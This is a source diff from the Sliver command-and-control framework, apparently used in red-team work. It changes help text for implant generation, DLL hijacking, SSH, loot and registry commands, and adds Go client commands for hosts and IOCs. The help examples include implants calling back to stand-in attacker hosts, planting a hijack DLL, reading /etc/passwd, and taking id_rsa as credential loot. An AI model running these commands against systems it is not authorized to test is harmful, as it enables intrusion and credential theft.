consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
// Loot
consts.LootStr: lootHelp,
// Profiles
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
// Reactions
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -94,18 +123,23 @@ var (
[[.Bold]]About:[[.Normal]] Generate a new sliver binary and saves the output to the cwd or a path specified with --save.
[[.Bold]][[.Underline]]++ Command and Control ++[[.Normal]]
You must specificy at least one c2 endpoint when generating an implant, this can be one or more of --mtls, --http, or --dns, --named-pipe, or --tcp-pivot.
The command requires at least one use of --mtls, --http, or --dns, --named-pipe, or --tcp-pivot.
You must specificy at least one c2 endpoint when generating an implant, this can be one or more of --mtls, --wg, --http, or --dns, --named-pipe, or --tcp-pivot.
The command requires at least one use of --mtls, --wg, --http, or --dns, --named-pipe, or --tcp-pivot.
The follow command is used to generate a sliver Windows executable (PE) file, that will connect back to the server using mutual-TLS:
generate --mtls foo.example.com
The follow command is used to generate a sliver Windows executable (PE) file, that will connect back to the server using Wireguard on UDP port 9090,
then connect to TCP port 1337 on the server's virtual tunnel interface to retrieve new wireguard keys, re-establish the wireguard connection using the new keys,
then connect to TCP port 8888 on the server's virtual tunnel interface to establish c2 comms.
generate --wg 3.3.3.3:9090 --key-exchange 1337 --tcp-comms 8888
You can also stack the C2 configuration with multiple protocols:
generate --os linux --mtls example.com,domain.com --http bar1.evil.com,bar2.attacker.com --dns baz.bishopfox.com
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
Supported output formats are Windows PE, Windows DLL, Windows Shellcode (SRDI), Mach-O, and ELF. The output format is controlled
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
with the --os and --format flags.
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
@@ -172,7 +206,7 @@ To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common s
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new-profile [--profile-name] <options>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -202,7 +236,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
[[.Bold]][[.Underline]]Sorting[[.Normal]]
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit search results to directory and file names matching given criteria.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
Directory and file listings can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file and directory names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
@@ -312,21 +370,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
Load an extension:
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
Load an macro:
load /tmp/chrome-dump
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
chrome-dump
├── chrome-dump.dll
├── chrome-dump.so
└── manifest.json
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
{
"extensionName":"chrome-dump", // name of the extension, can be anything
"extensionCommands":[
"macroName":"chrome-dump", // name of the macro, can be anything
"macroCommands":[
{
"name":"chrome-dump", // name of the command available in the sliver client (no space)
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -338,7 +396,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
"files":{
"x64":"chrome-dump.dll",
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
}
},
{
@@ -398,6 +456,214 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Set an environment variable in the current process.
[[.Bold]]Example:[[.Normal]] setenv SHELL /bin/bash
`
regReadHelp = `[[.Bold]]Command:[[.Normal]] registry read PATH [name]
[[.Bold]]About:[[.Normal]] Read a value from the windows registry
[[.Bold]]Example:[[.Normal]] registry read --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
regWriteHelp = `[[.Bold]]Command:[[.Normal]] registry write PATH value [name]
[[.Bold]]About:[[.Normal]] Write a value to the windows registry
[[.Bold]]Example:[[.Normal]] registry write --hive HKLM --type dword "software\\google\\chrome\\BLBeacon\\version" 1234
The type flag can take the following values:
- string (regular string)
- dword (uint32)
- qword (uint64)
- binary
When using the binary type, you must either:
- pass the value as an hex encoded string: registry write --type binary --hive HKCU "software\\bla\\key\\val" 0d0a90124f
- use the --path flag to provide a filepath containg the payload you want to write: registry write --type binary --path /tmp/payload.bin --hive HKCU "software\\bla\\key\\val"
`
regCreateKeyHelp = `[[.Bold]]Command:[[.Normal]] registry create PATH [name]
[[.Bold]]About:[[.Normal]] Read a value from the windows registry
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
[[.Bold]]About:[[.Normal]] List created pivots
[[.Bold]]Examples:[[.Normal]]
List pivots for all sessions:
pivots-list
List pivots for a specific session:
pivots-list --id 1
List pivots for the current session:
pivots-list
`
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
[[.Bold]]Examples:[[.Normal]]
Start a new listener:
wg-socks start
Specify the listening port:
wg-socks start --bind 1234
List existing listeners:
wg-socks
Stop and remove an existing listener:
wg-socks rm 0
`
wgPortFwdHelp = `[[.Bold]]Command:[[.Normal]] wg-portfwd
[[.Bold]]About:[[.Normal]] Create a TCP port forward on the implant Wireguard tun interface
[[.Bold]]Examples:[[.Normal]]
Add a new forwarding rule:
wg-portfwd add --remote 1.2.3.4:1234
Specify the listening port:
wg-portfwd add --bind 1234 --remote 1.2.3.4
List existing listeners:
wg-portfwd
Stop and remove an existing listener:
wg-portfwd rm 0
`
sshHelp = `[[.Bold]]Command:[[.Normal]] ssh
[[.Bold]]About:[[.Normal]] Run an one-off SSH command via the implant.
The built-in client will use the ssh-agent to connect to the remote host.
The username will be the current session username by default, but is configurable using the "-l" flag.
[[.Bold]]Examples:[[.Normal]]
# Connect to a remote host named "bastion" and execute "cat /etc/passwd"
ssh bastion cat /etc/passwd
# Connect to a remote host by specifying a username
ssh -l ubuntu ec2-instance ps aux
`
lootHelp = `[[.Bold]]Command:[[.Normal]] loot
[[.Bold]]About:[[.Normal]] Store and share loot between operators.
A piece of loot can be one of two loot types: a file or a credential.
[[.Bold]]File Loot[[.Normal]]
A file can be binary or text, Sliver will attempt to detect the type of file automatically or you can specify
a file type with --file-type. You can add local files as loot using the "local" sub-command, or you can add
files from a session using the "remote" sub-command.
[[.Bold]]Credential Loot[[.Normal]]
Credential loot can be a user/password combination, an API key, or a file. You can add user/password and API
keys using the "creds" sub-command. To add credential files use either the "local" or "remote" sub-commands
with a "--type cred" flag (note the distinction between loot type --type, and file type --file-type). You can
additionally specify a --file-type (binary or text) as you would normally.
[[.Bold]]Examples:[[.Normal]]
# Adding a local file (file paths are relative):
loot local ./foo.txt
# Adding a remote file from the active session:
loot remote C:/foo.txt
# Adding a remote file as a credential from the active session:
loot remote --type cred id_rsa
# Display only credentials:
loot --filter creds
# Display the contents of a piece of loot:
loot fetch
`
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
reactions do not support variables or logic, they simply allow you to run verbatim
commands when an event occurs. To implement complex event-based logic we recommend
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
% 20s Triggered on changes to session metadata
% 20s Triggered when a session is closed (for any reason)
% 20s Triggered when a canary is burned or created
% 20s Triggered when implants are discovered on threat intel platforms
% 20s Triggered when a new piece of loot is added to the server
% 20s Triggered when a piece of loot is removed from the server
`,
consts.SessionOpenedEvent,
consts.SessionUpdateEvent,
consts.SessionClosedEvent,
consts.CanaryEvent,
consts.WatchtowerEvent,
consts.LootAddedEvent,
consts.LootRemovedEvent,
)
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
The built-in reactions do not support variables or logic, they simply allow you to
run verbatim commands when an event occurs. To implement complex event-based logic
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]Examples:[[.Normal]]
# The command uses interactive menus to build a reaction. Simply run:
reaction set
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
% 20s Triggered on changes to session metadata
% 20s Triggered when a session is closed (for any reason)
% 20s Triggered when a canary is burned or created
% 20s Triggered when implants are discovered on threat intel platforms
% 20s Triggered when a new piece of loot is added to the server
% 20s Triggered when a piece of loot is removed from the server
`,
consts.SessionOpenedEvent,
consts.SessionUpdateEvent,
consts.SessionClosedEvent,
consts.CanaryEvent,
consts.WatchtowerEvent,
consts.LootAddedEvent,
consts.LootRemovedEvent,
)
reactionUnsetHelp = `[[.Bold]]Command:[[.Normal]] reaction unset
[[.Bold]]About:[[.Normal]] Unset/remove automated commands in reaction to event(s).
[[.Bold]]Examples:[[.Normal]]
# Remove a reaction
reaction unset --id 1
`
dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
The planted DLL will have its export directory modified to forward the exports to a reference DLL
on the remote system.
The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
supplied with the --profile flag.
[[.Bold]]Examples:[[.Normal]]
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
`
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
)
const (
@@ -419,9 +685,9 @@ const (
)
// GetHelpFor - Get help string for a command
func GetHelpFor(cmdName string) string {
func GetHelpFor(cmdName []string) string {
if 0 < len(cmdName) {
if helpTmpl, ok := cmdHelp[cmdName]; ok {
if helpTmpl, ok := cmdHelp[strings.Join(cmdName, sep)]; ok {
return FormatHelpTmpl(helpTmpl)
}
}
+4
View File
@@ -0,0 +1,4 @@
Hosts
======
Command to access and manage host information.
+46
View File
@@ -0,0 +1,46 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// HostsIOCRmCmd - Remove a host from the database
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ioc, err := SelectHostIOC(host, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
+107
View File
@@ -0,0 +1,107 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// HostsIOCCmd - Remove a host from the database
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if 0 < len(host.IOCs) {
con.Printf("%s\n", hostIOCsTable(host, con))
} else {
con.Println()
con.PrintInfof("No IOCs tracked on host\n")
}
}
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleBold)
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
for _, ioc := range host.IOCs {
tw.AppendRow(table.Row{
ioc.Path,
ioc.FileHash,
})
}
return tw.Render()
}
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var iocMap = make(map[string]*clientpb.IOC)
for _, ioc := range host.IOCs {
keys = append(keys, ioc.ID)
iocMap[ioc.ID] = ioc
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
ioc := iocMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
ioc.Path,
ioc.FileHash,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select an IOC:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return iocMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+41
View File
@@ -0,0 +1,41 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// HostsRmCmd - Remove a host from the database
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostRm(context.Background(), host)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
+164
View File
@@ -0,0 +1,164 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
var (
// ErrNoHosts - No hosts in database
ErrNoHosts = errors.New("no hosts")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// HostsCmd - Main hosts command
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if 0 < len(allHosts.Hosts) {
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
} else {
con.PrintInfof("No hosts\n")
}
}
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleLight)
tw.AppendHeader(table.Row{
"Hostname",
"Operating System",
"Sessions",
"IOCs",
"Extension Data",
"ID (Short)",
})
for _, host := range hosts {
var shortID string
if len(host.HostUUID) < 8 {
shortID = host.HostUUID[:len(host.HostUUID)]
} else {
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
shortID,
})
}
return tw.Render()
}
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if 0 == len(hostSessions) {
return "None"
}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return strings.Join(sessionNumbers, ", ")
}
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return []*clientpb.Session{}
}
hostSessions := []*clientpb.Session{}
for _, session := range sessions.Sessions {
if session.UUID == hostUUID {
hostSessions = append(hostSessions, session)
}
}
return hostSessions
}
// SelectHost - Interactively select a host from the database
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var hostMap = make(map[string]*clientpb.Host)
for _, host := range allHosts.Hosts {
keys = append(keys, host.HostUUID)
hostMap[host.HostUUID] = host
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
host := hostMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
host.Hostname,
host.OSVersion,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a host:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return hostMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
-63
View File
@@ -1,63 +0,0 @@
package command
import (
"context"
"fmt"
"strconv"
"strings"
"github.com/desertbit/grumble"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func ifconfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
ifconfig, err := rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
Request: ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
for ifaceIndex, iface := range ifconfig.NetInterfaces {
fmt.Printf("%s%s%s (%d)\n", bold, iface.Name, normal, ifaceIndex)
if 0 < len(iface.MAC) {
fmt.Printf(" MAC Address: %s\n", iface.MAC)
}
for _, ip := range iface.IPAddresses {
// Try to find local IPs and colorize them
subnet := -1
if strings.Contains(ip, "/") {
parts := strings.Split(ip, "/")
subnetStr := parts[len(parts)-1]
subnet, err = strconv.Atoi(subnetStr)
if err != nil {
subnet = -1
}
}
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
fmt.Printf(bold+green+" IP Address: %s%s\n", ip, normal)
} else if 32 < subnet && !isLoopback(ip) {
fmt.Printf(bold+cyan+" IP Address: %s%s\n", ip, normal)
} else {
fmt.Printf(" IP Address: %s\n", ip)
}
}
}
}
func isLoopback(ip string) bool {
if strings.HasPrefix(ip, "127") || strings.HasPrefix(ip, "::1") {
return true
}
return false
}
-111
View File
@@ -1,111 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
insecureRand "math/rand"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func info(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
var session *clientpb.Session
if ActiveSession.GetInteractive() != nil {
session = ActiveSession.GetInteractive()
} else if 0 < len(ctx.Args) {
session = GetSession(ctx.Args[0], rpc)
}
if session != nil {
fmt.Printf(bold+" ID: %s%d\n", normal, session.ID)
fmt.Printf(bold+" Name: %s%s\n", normal, session.Name)
fmt.Printf(bold+" Hostname: %s%s\n", normal, session.Hostname)
fmt.Printf(bold+" UUID: %s%s\n", normal, session.UUID)
fmt.Printf(bold+" Username: %s%s\n", normal, session.Username)
fmt.Printf(bold+" UID: %s%s\n", normal, session.UID)
fmt.Printf(bold+" GID: %s%s\n", normal, session.GID)
fmt.Printf(bold+" PID: %s%d\n", normal, session.PID)
fmt.Printf(bold+" OS: %s%s\n", normal, session.OS)
fmt.Printf(bold+" Version: %s%s\n", normal, session.Version)
fmt.Printf(bold+" Arch: %s%s\n", normal, session.Arch)
fmt.Printf(bold+"Remote Address: %s%s\n", normal, session.RemoteAddress)
fmt.Printf(bold+" Proxy URL: %s%s\n", normal, session.ProxyURL)
} else {
fmt.Printf(Warn+"No target session, see `help %s`\n", consts.InfoStr)
}
}
func ping(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
nonce := insecureRand.Intn(999999)
fmt.Printf(Info+"Ping %d\n", nonce)
pong, err := rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
Request: ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"Pong %d\n", pong.Nonce)
}
}
func getPID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
fmt.Printf("%d\n", session.PID)
}
func getUID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
fmt.Printf("%s\n", session.UID)
}
func getGID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
fmt.Printf("%s\n", session.GID)
}
func whoami(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
fmt.Printf("%s\n", session.Username)
}
+4
View File
@@ -0,0 +1,4 @@
Info
====
Implements session information commands like `info`, `print`, `whoami`, etc.
+95
View File
@@ -0,0 +1,95 @@
package info
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
sessionName := ctx.Args.String("session")
if con.ActiveSession.GetInteractive() != nil {
session = con.ActiveSession.GetInteractive()
} else if sessionName != "" {
session = con.GetSession(sessionName)
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, session.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, session.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, session.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
}
}
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
con.Printf("%d\n", session.PID)
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
con.Printf("%s\n", session.UID)
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
con.Printf("%s\n", session.GID)
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
